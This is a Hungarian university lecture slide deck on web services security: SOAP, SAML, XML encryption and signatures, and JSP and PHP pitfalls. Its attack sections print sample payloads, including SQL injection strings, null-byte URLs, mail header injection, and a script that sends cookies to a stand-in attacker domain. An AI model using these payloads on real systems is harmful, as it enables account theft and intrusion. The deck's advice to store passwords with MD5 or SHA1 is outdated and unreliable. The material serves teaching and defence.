Web services security - BME-HIT

Web services security

Budapesti Műszaki és Gazdaságtudományi Egyetem

Lazán csatolt rendszerek

• Informatikai rendszerek fejlődése elavulttá tette a régebbi rendszerfejlesztési paradigmákat.

• Fizikai távolságok, nyílt hálózat.

• Tervezési, implementálási és karbantartási célok könnyebben elérhetőek, ha komponensekre bontjuk a rendszert.

• Ezeket a komponenseket laza kapcsolatba szervezve kapjuk meg a teljes rendszert.

• Lazán csatolt komponensű rendszerek.

SOA

service-oriented architecture / szolgáltatásorientált architektúra

Def.:• az elosztott rendszereknek egy lazán csatolt, • szabványokon alapuló, • protokoll- és platformfüggetlen megközelítése, amelyben a• szoftverek lényegében újrafelhasználható erforrások, amelyek

a hálózaton keresztül úgynevezett szolgáltatásként érhetek el

SOA

• Újrafelhasználhatóság, elosztottság, modularitás

Webszolgáltatások

Web Services, WS

• a Webszolgáltatásoka a SOA egyik legszélesebb körben elterjedt megvalósulása.

• Alkalmazások közötti adatcserére szolgáló protokollok és szabványok gyűjteménye

• World Wide Web Consortium, W3C

Webszolgáltatás architektúra

• háromszereplős modell:

Webszolgáltatás protokoll készlet

• UDDI: Universal Description, Discovery, and Integration– A webszolgáltatásokat ezen protokoll segítségével teszik elérhetővé.

Lehetővé teszi, hogy információt keressünk webszolgáltatásokról, így segítve a döntést, hogy felhasználjuk-e őket.

• WSDL: Web Services Description Language, WSDL– a webszolgáltatás nyilvános felülete a Webszolgáltatás leíró nyelvvel

van leírva. Ez egy XML alapú leírása a webszolgáltatásokkal történő kommunikációnak.

• SOAP

SOAP

• Simple Object Access Protocol– Régebbi elnevezés, ma már nem használják, mert félrevezető

• Üzenetküldésre használt, XML-alapú formátum, mely alkalmas változatos környezetbeli adatcserék lebonyolítására.

• W3C szabvány

• SOAP formátumot használó üzenetek különböző protokollok segítségével továbbíthatóak:– FTP, SMPT, HTTP

SOAP üzenet

• A header írja le, hogy hogyan kell az üzenetet feldolgozni, valamint prioritási, biztonsági stb. információkat is tartalmaz.

• A body tartalmazza az XML dokumentumokat.

• Az Attachment lehet XML vagy nem XML alapú bármilyen csatolmány, mint például egy szöveges fájl, kép stb.

Web Service protocoll stack

Előnyök

• Különböző platformok közötti együttműködés.• A webszolgáltatás nyílt szabványokat és protokollokat használ.• Szövegalapú protokollok• Http miatt a tűzfalak nem akadályoznak• Integrált szolgáltatások• Újrafelhasználhatóság

Hátrányok

• Tranzakció kezelés nehézkes• XML: szövegalpú, lassúság• Tűzfalon való könnyű átjutás.

SAMLMiért nem elég az SSL?


Web szolgáltatások

• XML nyelv használata SOAP üzenetekre SOA rendszerben (tehát nem kliens szerver architektúra, hanem elosztott, dinamikus rendszer)

• Bárhonnan elérhető (nem kell klienst telepíteni)

• Vékony webes kliens: szabványosabb felhasználói felület• Elvárások:

– Átküldött adatok sértetlensége és megbízhatósága (integrity and confidentiality)

– Web szolgáltatások sértetlensége – szolgáltatások közti bizalom (trust)

– Támadások felderíthetősége– Granularitás: üzenetek kezelése biztonsági házirendek alapján

(security policy)

» különböző részeket különböző kulcsokkal, különböző algoritmusokkal

» lehetnek titkosítatlan részek (nem bizalmas információt hordozó részek)

Miért nem elég az SSL

• Transport level security– pont-pont üzenet csere– teljes üzenet titkosítása– szállítási rétegben– biztonságos csatorna– küldő félnek meg kell bíznia az összes közvetítőben– használható protokollok szűkössége (HTTPs)

• Message level security– vég-vég üzenet csere– az üzenet különböző mezőit más-más entitás olvashatja– az üzenet a nem biztonságos neten megy– alkalmazás rétegben– különböző biztonsági előírások kérésnél / válasznál– viszont: bonyolultabb, nagyobb odafigyelést igényel

• SSL nem támogatja az üzenetek tárolását: el kell tárolni a teljes titkosított bájtfolyamot és a használt kulcsokat, adatbeolvasáskor visszafejtés

Megoldások

• XML dokumentumok titkosítása (W3C): WS megbízhatósága

• XML aláírása (W3C és IETF): WS sértetlensége• SAML + XACML szabványok (Security Assertion Markup

Language, eXtensible Access Control Markup Language) WS hitelesítés, jogosultságkezelés (szabványosító egyesület: OASIS - Organization for Advancement of Structured Information Standards SSTC - Security Services Technical Committee)

• XKMS: PKI feladatok titkosításhoz, aláíráshoz… (XML Key Management System)

• SOAP fejléc: SOAP üzenetek végpont-végpont biztonságára, WS biztonság

WS biztonság szabvány

• Más WS-eknek infó: PKI

• Message Security: XML titkosítás és aláírás jellemzői• Reliable Messaging: üzenet kézbesítéséhez használt protokollok• XACML: hozzáférési házirend leíró nyelv

• Mindhárom szinten SOAP üzeneteken végeznek műveleteket

SAML 1.0

• Dinamikusan integrálható XML alapú keretrendszer• SSO használata belső hálózaton kívül• Feladata: hitelesítés, jogosultság kezelés• Három XML mechanizmusból áll:

– Assertions: XML séma biztonsági nyilatkozatok számára– Protocol: XML séma kérés-válasz protokoll számára– Bindings: kötések, szabályok melyek szabványos szállítási és

üzenetváltási keretrendszert biztosítanak az Assertion-ök számára

• Hitelesítési sémák:– Kerberos, PGP, x.509, SPKI, XML digital signature, Smartcard /PKI, SSL/TLS

tanúsítvány alapú, TimeSync token, Telephony, Mobile, védett/ jelszó alapú

SAML Assertionszintaktika

• Nyilatkozat három állapotot vehet fel:– Authentication: a nyilatkozat

tárgya adott jelentésű és adott idejű hozzáférés– Authorization: a nyilatkozat tárgya a kívánt

erőforrás elérése– Attribute: a nyilatkozat tárgya valamilyen attribútum

• Version: 1.0 / 2.0• ID: a nyilatkozat azonosítója• IssueInstant: UTC idő• Issuer: SAML kiállító• Signature: nyilatkozat integritásvédelme (opc.)• Subject: infó a nyilatkozat állapotáról (opc.)• Conditions: infó a nyilakozat érvényességéről (opc.)• Advice: egyéb infó (opc.)

Federációs szolgáltatás

• Circle of Trust: központosított hitelesítés, hozzáférés vezérlés• Nagyvállalatok esetén: partnerek, beszállítók• Identitás federáció: az egyik üzleti rendszer felhasználója úgy használja

másik bizonyos szolgáltatásait, mintha az a sajátjához tartozna -> SSO• Pl.: távközlési rendszerbe bejelentkezik a felhasználó,

használja a számlázási-, hívásrészletező-, ügyfélszolgálati rendszert.

• Adatszolgáltatás: csak a szükséges felhasználói adatok és csak a feldolgozáshoz kellő időben

SAML működése

• 1: első igényelt szolgáltatás, policy attribútumokat szolgáltat az SAML-hez• 2: távoli szolgáltatás erőforrásának igénylése (pl. adatbázis)• 3: kliens elküldi az SAML kiszolgálótól

kapott információkat a távolierőforrásnak.

• 4: SAML request• 5: SAML response• 6: SAML token elküldése• 7: távoli erőforrás használata

Google SAML (2.0) SSO szolgáltatás

• SAML 2.0: SSO rendszereknek nem kell kapcsolatban lenniük, kommunikáció (token igénylés) a kliensen keresztül

• Service provider: Google - Gmail, Start Pages és egyéb szolgáltatások

• Identity providers (speciális service provider): partnerek– Kezeli: felhasználónevek, jelszavak, hitelesítési és

jogosultságkezelés azonosítók a hosztolt alkalmazásokhoz– Identity provider megoldások: OpenSSO (Java), simpleSAMLphp…

Google

működés előtt a partner megadja a Google felé az SSO szolgáltatás URL-jét és a nyilvános kulcsot

•partner SSO URL-ben - SAML kérés - user cél URL (Google alkalmazás) - Google ACS URLHa már van eltárolt SAML adat, akkor rögtön beléptetés

• benne a hitelesített felhasználó neve•digitális aláírással ellátva DSA/RSA

itt egy Javascript: automatikus továbbítás Google felé, vagy manuálisan: Submit gomb

SAML - SSL/TLS tanúsítvány alapú kliens hitelesítés <?xml version="1.0" encoding="UTF-8"?>

<xs:schema targetNamespace="urn:oasis:names:tc:SAML:2.0:ac:classes:TLSClient"xmlns:xs="http://www.w3.org/2001/XMLSchema"xmlns="urn:oasis:names:tc:SAML:2.0:ac:classes:TLSClient"finalDefault="extension"blockDefault="substitution"version="2.0"><xs:redefine schemaLocation="saml-schema-authn-context-types-2.0.xsd"><xs:annotation>

<xs:documentation>Class identifier: urn:oasis:names:tc:SAML:2.0:ac:classes:TLSClientDocument identifier: saml-schema-authn-context-sslcert-2.0Location: http://docs.oasis-open.org/security/saml/v2.0/Revision history:

V2.0 (March, 2005):New authentication context class schema for SAML V2.0.

</xs:documentation></xs:annotation><xs:complexType name="AuthnContextDeclarationBaseType"> (AuthMetod)<xs:complexType name="AuthnMethodBaseType"> (Authenticator)<xs:complexType name="PrincipalAuthenticationMechanismType"> (password)<xs:complexType name="AuthenticatorBaseType"> (DigSig)<xs:complexType name="PublicKeyType"> (x.509)<xs:complexType name="AuthenticatorTransportProtocolType"> (SSL W/TLS wireless)

XML titkosítás és XML digitális aláírás


Bevezetés

• Miért is van szükség az XML titkosításra és aláírásra?(end-to-end)

• Mi az új és mi a régi?• Biztonsági szabványok (W3C)

– XML Signature (XML DSIG)– XML Encription (XML ENC)– XML Key Managment System (XKMS)

• <EncryptedData Id? Type? MimeType? Encoding?><EncryptionMethod/>?<ds:KeyInfo><EncryptedKey>?

<AgreementMethod>?<ds:KeyName>?<ds:RetrievalMethod>?<ds:*>? </ds:KeyInfo>? <CipherData><CipherValue>?<CipherReference URI?>? </CipherData> <EncryptionProperties>?</EncryptedData>

XML titkosítás

• <EncryptedData>Az <EncryptedData> elem a gyökérelem, amely tartalmazza az összes gyermekelemet. Négy opcionális attribútuma van:– Id: a titkosított adat egyedi azonosítója– Type: megadja, hogy a titkosított adat egy elem, vagy egy elem

tartalma stb (lsd. később).– MimeType: megadja a tartalom MIME típusát (Pl.: text/xml,

image/jpg stb.)– Encoding: a transzformációs kódolást adja meg (általában

Base64-kódolású)

XML titkosítás

• Az XML Encryption során használt algoritmusok • URI (Uniform Resource Identifier)• Blokk rejtjelezés (Block Encryption)

– TRIPLEDES (3DES – 3x Data Encryption Standard): http://www.w3.org/2001/04/xmlenc#tripledes-cbc– AES-128 (Advanced Encryption Standard – 128 bites kulccsal) – AES-256– AES-192

• Kulcs szállítás (Key Transport)– RSA-v1.5– RSA-OAEP

XML titkosítás

• Kulcscsere (Key Agreement)– Diffie-Hellman

• Szimmetrikus kulcs elrejtés/becsomagolás (Symmetric Key Wrap) – TRIPLEDES KeyWrap– AES-128 KeyWrap– AES-256 KeyWrap– AES-192 KeyWrap

• Üzenet kivonatolás, azaz hashelés (Message Digest)– SHA1– SHA256 – SHA512 – RIPEMD-160

XML titkosítás

• Kanonikalizáció (Canonicalization, C14N): inkluzív és exkluzív, melyek figyelembe vehetik a megjegyzéseket vagy sem.

• PL. <?xml version="1.0"?><?xml-tylesheet href="doc.xsl" type="text/xsl"?><!DOCTYPE doc SYSTEM "doc.dtd"><doc>Hello, world!</doc><?pi-without-data ?>

Általános forma (kommentek nélkül) <?xml-stylesheet href="doc.xsl" type="text/xsl" ?><doc>Hello, world!</doc><?pi-without-data?>

XML titkosítás

• <Signature ID?> <SignedInfo>

<CanonicalizationMethod/><SignatureMethod/>(<Reference URI?> (<Transforms>)? <DigestMethod> <DigestValue></Reference>)+

</SignedInfo> <SignatureValue>

(<KeyInfo>)? (<Object ID?>)*

</Signature>

XML digitális aláírás

• A <Signature> elem a teljes aláírás gyökéreleme, ennek tartalma a tényleges aláírás, az aláírás elkészítéséhez használt algoritmus stb.

• A <Reference> elem tartalmazza a forrás dokumentumot URI-ként megadva.

• A <SignatureMethod> adja meg az aláíráshoz használt metódust.

• Az opcionális <Transforms> tag sorba rendezett <Transform> elemeket tartalmaz.


• Az XML Signature típusai• Enveloped signature (borítékolt aláírás)


• Enveloping signature (borítékoló aláírás)


• Detached signature (különálló aláírás)

• Transzformációs algoritmusok– XSLT transzformáció – XPath transzformáció

• PL.Az eredeti XML dokumentum

<BusinessAccountSummary id="ABCD54321"> <Customer id="45678943"> <BusinessName>ABZ Company</BusinessName> <Address>1 ABZ Drive, Newton, CA</Address> <PrimaryContact>R Nagappan</PrimaryContact> <BusinessAccount id="BS-12345"> <AccountBalance>950000.00</AccountBalance> </BusinessAccountNo> <CreditCard no="1233-3456-4567"> <CreditBalance>45000.00</CreditBalance> </CreditCard>


<CreditCard no="4230-3456-9877"> <CreditBalance>6000.00</CreditBalance> </CreditCard> </Customer><BusinessAccountSummary>

• Az aláírt XML dokumentum borítékolt (enveloped) aláírással<BusinessAccountSummary date="01/01/2004" id="ABCD54321"> <Customer id="45678943"> <BusinessName>ABZ Company</BusinessName> <Address>1 ABZ Drive, Newton, CA</Address> <PrimaryContact>R Nagappan</PrimaryContact> <BusinessAccount id="BS-12345"> <AccountBalance>950000.00</AccountBalance> </BusinessAccountNo>


<DigestMethodAlgorithm="http://www.w3.org/2000/09/xmldsig#sha1" /> <DigestValue>jav7lwx3rvLPO0vKVu8nk===</DigestValue> </Reference></SignedInfo> <SignatureValue>MC0E~LE=</SignatureValue> <KeyInfo> <X509Data><X509SubjectName>CN=RRN,O=CS,ST=BOSTON,C=MA</X509SubjectName> <X509Certificate> MIID5jCCA0+gA...lYZ== </X509Certificate> </X509Data> </KeyInfo></Signature>

</BusinessAccountSummary>


Web Service specifikus támadások


DoS

• Számítási kapacitás elleni DoS

SQL Injection

Cross-Site Scripting

• Scriptek megadása CDATA segítségével– Inkább az alkalmazást használó felhasználókat célozza meg,

mint magát az alkalmazást» Pl.: HTML oldalba ágyazva, böngészővel

megjelenítve scriptek futtathatóak

WSDL enumeráció

• Parancsok találgatása WSDL-ből

– Pl.: Létezik getPrice függvény → setPrice!?– Gyakran Google-lel megtalálhatóak a nem publikus WSDL fájlok

Könnyebb hash ütközés keresése

• Megjegyzéseket meghagyó C14N esetén alkalmazható• Nagyobb szabadság ütköző üzenet keresése a szabadabb

tartalom miatt– Pl.: eredetileg csak számot tartalmazhatna az elem

XSLT transzformáció beszúrás

• XSLT feldolgozókbővítményekkelrendelkezhetnek

• Pl.: XALAN feldolgozóképes egy JVMelindítására,amellyel programokfutathatóak

C14N DoS

• <ENTITY entity &pointer>típusú elemek feloldásamemóriaigényes lehet– Az alábbi dokumentum

feldolgozása 2 Gbmemóriát igényel:

XML Digital Signature Attack

Java Server Pages security


Amiről szó lesz

• Általában a JSP-ről• Lehetséges támadások bemutatása• Védekezési javaslatok

Általában a JSP-ről

• Mi a JSP?– A JavaServer Pages egy technológia, melynek segítségével a

szoftverfejlesztő dinamikusan tud generálni HTML, XML vagy egyéb dokumentumokat HTTP kérésekre reagálva.

– Cél: olyan környezet létrehozása, melyben a fejlesztők a JAVA nyelvet hatékonyan használhatják webalkalmazások fejlesztésére

– Szabványos nyelvi jelölő elemek mellett JSP szkripteket tartalmaz az oldal – kiszolgáló dinamikus tartalommal bővíti a lapot (pl.: adatbázis elérés)


• A JSP lehetővé teszi a HTML kód és a programozási nyelven megírt kód szétválasztását

• Egy tipikus alkalmazás létrehozásának feladatait két szakértői csoport végezheti:– programozók, akik az alkalmazás logikájához szükséges

akcióelemeket készítik– lap szerzői, akik a lap készítéséhez felhasználják az

akcióelemeket anélkül, hogy érteniük kellene a programozáshoz


• Szervlet – JSP:– A szervletekben a HTML kód közvetlenül a JAVA kódba van

beágyazva – nehéz a lap megjelenítési részének a karbantartása (out.println(”<html>….”))

– A JSP a speciális kódot(szkriptet) illeszti be a HTML nyelvbe– A JSP lapokból a szerver oldalon a fordító szervletet generál – a

JSP tehát a szervletek fölötti réteg


<jsp:useBean id=”oDate” class=”java.util.Date” />

<html><body><% if (oDate.getHours()<12) { %>

<h1> Jó reggelt!</h1><%} else if (oDate.getHours()<18){ %>

<h1> Jó napot!</h1><% } else { %>

<h1> Jó estét!</h1><% } %>Üdvözöljük a nap 24 órájában nyitva tartó honlapunkon!</body>

</html>

JSP biztonsága

• A JAVA típusos nyelv, garbage collectorral rendelkezik != legnagyobb biztonság garantálva

• Az alacsony biztonsági szintű problémák, melyek gondot jelenthetnek más programnyelvekben(pl.: buffer overflow) kevésbé veszélyesek a JAVA-ra nézve

• Mégis: nem nehéz nem biztonságos JAVA kódot írni – főleg szervletek esetében:– Felhasználói bemenetek– A JSP komplex architektúra – nagy egymásra hatás

Támadások – felhasználói bemenetek

• A GET request feldolgozása sok veszélyt rejt magában• Adatbázis elleni támadás:

<% Statement stmt = connection.getStatement(); String query = "SELECT * FROM USER_RECORDS

WHEREUSER = " + request.getParameter("username"); ResultSet result = Statement.executeQuery(query); %>

• http://server/db.jsp?username=joe;SELECT%20*%20FROM%20SYSTEM_RECORDS


• Cross Site Scripting: rosszindulatú kód küldése, ami idegen kliens oldalon fog lefutni

http://server/jsp_script.jsp?poster=evilhacker&message=<SCRIPT>evil\_code</SCRIPT>


• Forráskód megszerzése: a felhasználó megpróbálja megkerülni azt, hogy a megadott hivatkozását a webszerver a JSP feldolgozóhoz továbbítsa, így azt statikus tartalomként jeleníti meg:– http://server/page.jsp%00– http://server/page.js%2570 – régebbi Tomcat hibája

– %00 -> „null byte”– %25 -> %– %70 -> p

Lehetséges védekezések

• Input validálása:– Bizonyos karakterek szűrése

<% String message = request.getParameter("message"); message = message.replace ('<','_'); message = message.replace ('>','_'); message = message.replace ('"','_'); message = message.replace ('\'','_'); message = message.replace ('%','_'); %> <p> The message is: <%= message %> </p>

– Bizonyos karakterek engedélyezése• Belépési pont megadása, könyvtárak tartalmához való

hozzáférés megtagadása – (web.xml konfigurálása)

Konklúzió

• A JSP egy hatékony technológia webalkalmazások fejlesztésére, azonban elővigyázatosnak kell lennünk ha a rendszerünknél magas prioritása van a biztonságnak mint szempontnak.

PHP biztonsága


Miért PHP?

• Ma az egyik legjobban elterjedt tipikusan nyílt forráskódú rendszerekhez használt program nyelv

• Sokan használják -> nagy developer community, sok add-on, DE nagy biztonsági veszélyforrás

• Egyszerű, könnyen tanulható és jól dokumentált.

• Portálrendszerek, aukciós rendszerek, pénzügyi tranzakciókat megvalósító szkriptek

• Saját szórakozásra is okééé… (kockáknak)

Általános jó tanácsok

• Register_globals, $POST és $GET , $SERVER– SQL Injection:

» $sql_q = "SELECT * FROM users WHERE username = ‘$_POST[username]’ AND password = ‘$_POST[password]’;

» INPUTMEZŐBE: username = admin ; password = ' OR 0=0 » SELECT * FROM users WHERE username = 'admin' AND password='' OR 0=0» $res = db_query('SELECT * FROM {prefix}users WHERE username=\'%s\' AND

password=\'%s\'',$_POST['username'],$_POST['password']);– PRIAMOS– Include-olt fájlelérés

• Ellenőrizetlen szövegmezők vagy beviteli mezők– XXS lehetősége: Nem ellenőrzőtt beviteli mezőbe akármilyen html vagy akár

javascript kódot tehetünk » <script>document.location.replace('http://ELLOPOM-A-SÜTID.com/?

adat='+document.cookie);</script>» Strips_tags(), htmlentities(), htmlspecialchars()

Általános jó tanácsok (2)

• MAIL() függvény meggondolatlan használata– mail(címzett, téma, szöveg, egyéb headerek, egyéb kapcsolók);– mail("[email protected]", "szia", "levél tartalma", "From:

[email protected]");– Bekérjük a feladó mail címét,hogy tudjuk ki a küldő. – TÁMADÓ: [email protected]\r\nBcc: [email protected],

[email protected], [email protected]. Így mások is megkapják a levél tartalmát, kideritve pl. a rejtett fogadó mailcímet.

• A jelszavak tárolása és ellenőrzes– Titkosított módon, MD5(), SHA1() függvények segítségével.

Plain jelszavakat ne továbbítsunk. SQL Injection veszélye is fenn állhat…

mailto:[email protected]

mailto:[email protected]

Általános jó tanácsok (3)

• Ellenőrizetlen fájl feltöltés, tipikus lusta programozói hiba– Ne csak kiterjesztését ellenőrizzük, nézzük meg a tartalmát– Ne adjunk futtatási jogot a feltöltött fájlokra.

• $SERVER és $COOKIE tömbök használata– Alapjában véve veszélytelenek tűnnek de minden felhasználóval

kapcsolatos infót könnyen módosíthat a támadó, így ilyen infókat sose mentsünk le.

– Kiszolgálóval kapcsolatos infók részletességét korlátozzuk, egyszerűen juthat hozzá a támadó verziószám alapján kiszolgáló exploithoz.

• Figyeljünk a Session-ok lehallgathatóságára, biztonságara is

MEGOLDÁS

• Minden beérkező, felhasználó által megadott információt támadónak tekintünk

• Minden adatot SZŰRŰNÜK! • Szűrés: kiterjesztés, tartalom alapján• Külső könyvtárákat fenntartásokkal használjuk fel. Mindig

frissítsünk! • Fontos a megfelelő szerver beállítási konfiguráció is. • OLVASSUNK BIZTONSÁGGAL KAPCSOLATBAN

MINNÉL TÖBBET… BE UP-TO-DATE!

WSO2 WSF-PHP

• WSO2 egy keretrendszer PHP-hez

• biztonságos web service szolgáltatásokhoz tudunk hozzáférni

• a keretrendszer több más biztonságos réteg „szolgáltatásain” nyugszik

• Ingyenes, • viszonylag könnyű elsajátítani, • könnyen bővíthető az

igényeknek megfelelően

Biztonságos web service

$reqPayloadString = <<<XML<ns1:echo xmlns:ns1="http://php.axis2.org/samples"><text>Hello World!</text></ns1:echo>XML;

try {

$rec_cert = ws_get_cert_from_file('../keys/bob_cert.cert');$pvt_key = ws_get_key_from_file('../keys/alice_key.pem');

$reqMessage = new WSMessage($reqPayloadString,array("to"=>"http://localhost/samples/security/encryption/encrypt_service.php","action" => "http://php.axis2.org/samples/echoString"));

$sec_array = array("encrypt"=>TRUE,"algorithmSuite" => "Basic256Rsa15","securityTokenReference" => "EmbeddedToken");

• Egy web servicet lekérdező használó kliens 3 egyszerű lépésből meghatározható:

1. Biztonsági beállitások2. Kliens létrehozása 3. Kérés küldése

• Biztonság megvalósításához hsználjuk először a WSSecurityToken objektumot.Ez képzi a biztonsági tuljadonságok logikai megvalósítását. Tulajdonságokat tömbe adjuk meg a konstruktornak.

• WS-Security token-t paraméterezzük. Ez a private key fájl és a certificate fájl. Ezeket a fájlrendszerből töltsuk be.

• Kliensnek meg kell határoznia a biztonsági tulajdonságait.

• Üzent rejtjelező: Basic256Rsa15 és a certificate információ egy beágyazott tokenként valósul meg.

• Egy tulajdonság tömböt hozzunk létre és ezt beleágyazzuk a policy objektumba.

Biztonságos web service

• $policy = new WSPolicy(array("security"=>$sec_array));$sec_token = new WSSecurityToken(array("privateKey" => $pvt_key,"receiverCertificate" => $rec_cert));

$client = new WSClient(array("useWSA" => TRUE,"policy" => $policy,"securityToken" => $sec_token));

$resMessage = $client->request($reqMessage);

printf("Response = %s \n", $resMessage->str);} catch (Exception $e) {if ($e instanceof WSFault) {printf("Soap Fault: %s\n", $e->Reason);} else {printf("Message = %s\n",$e->getMessage());}}

• Most létrehozhatjuk a kliens objektumot. Hozzárendeljük a WSPolicy és a WSSecurityToken objektumot a WSClient-hez. Itt fel kell használni a WS-Addressing module is.

• Most már létrehozhatjuk WSMesssage objektumot célpont címével és elküldhetjük a kérést.

Egyszerű „Hello world!”

// Üzenet sztringeket betölti és visszaadjaechoFunction($inMessage) {$returnMessage = new WSMessage($inMessage->str);

return $returnMessage;}

$operations = array("echoString" => "echoFunction");

$svr = new WSService(array("operations" => $operations));

$svr->reply();

• A web service egy vagy akár több művelettel rendelkezhet

• A műveletek azok a PHP függvényeknek felelnek meg

• Tehát WSO2 WSF-PHP 2 lépésből írhatunk web service-t

1. Műveleti többöket készítünk2. WSService objektum

létrehozása

Szolgáltatás biztonság

• function echoFunction($inMessage) {….}

$pub_key = ws_get_cert_from_file("/your/path/to/cert.cert");$pvt_key = ws_get_key_from_file("/your/path/to/key.pem");

$operations = array("echoString" => "echoFunction");

$sec_array = array("encrypt" => TRUE,"algorithmSuite" => "Basic256Rsa15","securityTokenReference" => "IssuerSerial");

$actions = array("http://php..../echoString" => "echoString");

$policy = new WSPolicy(array("security"=>$sec_array));$sec_token = new WSSecurityToken(array("privateKey" => $pvt_key,"receiverCertificate" =>$pub_key));

$svr = new WSService(array(„…,"policy" => $policy,"securityToken" => $sec_token));

$svr->reply();

• Hasonlóan a kliens oldali biztonsághoz, szerver oldalon is átmegyünk a következő lépéseken:

1. A biztonsági tulajdonságokat meghatározó tömb létrehozása

2. Egy policy objektum létrehozása amit a létrehozott biztonsági tuljdonságokat leíró tömbhöz csatolunk

3. A WSSecutiyToken objektum létrehozása

4. A WSService objektum létrehozása a policyt meghatározó objektummal és WSSecurityToken objektummal

Konklúzió, összegzés

Felhasznált irodalom

• PHP biztonság buktatói - http://deadlime.hu/2006/05/19/a-php-biztonsagi-buktatoi/

• Top 7 PHP Security Blunders - http://www.sitepoint.com/article/php-security-blunders/

• WSO2 framework - http://wso2.org/library/2814

• Official PHP Manual - http://www.php.net/manual/hu/security.php• Open Web Application Security Project -

http://www.owasp.org/index.php/Main_Page• PHP Security Consortium - http://phpsec.org

http://deadlime.hu/2006/05/19/a-php-biztonsagi-buktatoi/

http://www.sitepoint.com/article/php-security-blunders/

http://wso2.org/library/2814

http://www.php.net/manual/hu/security.php

http://www.owasp.org/index.php/Main_Page

http://phpsec.org/

Köszönjük a figyelmet!

Készítették:• Web Service bevezetés: Varga Domonkos• SSL, SAML vizsgálata: Ragány Csaba• XML titkosítás, aláírás: Burcs Tamás• Web Service támadások: Szappanos Csaba• JSP webszolgáltatások biztonsága: Csengeri Máté• PHP webszolgáltatások biztonsága: Kaszás Péter

Web services security - BME-HIT

Documents

Transcript of Web services security - BME-HIT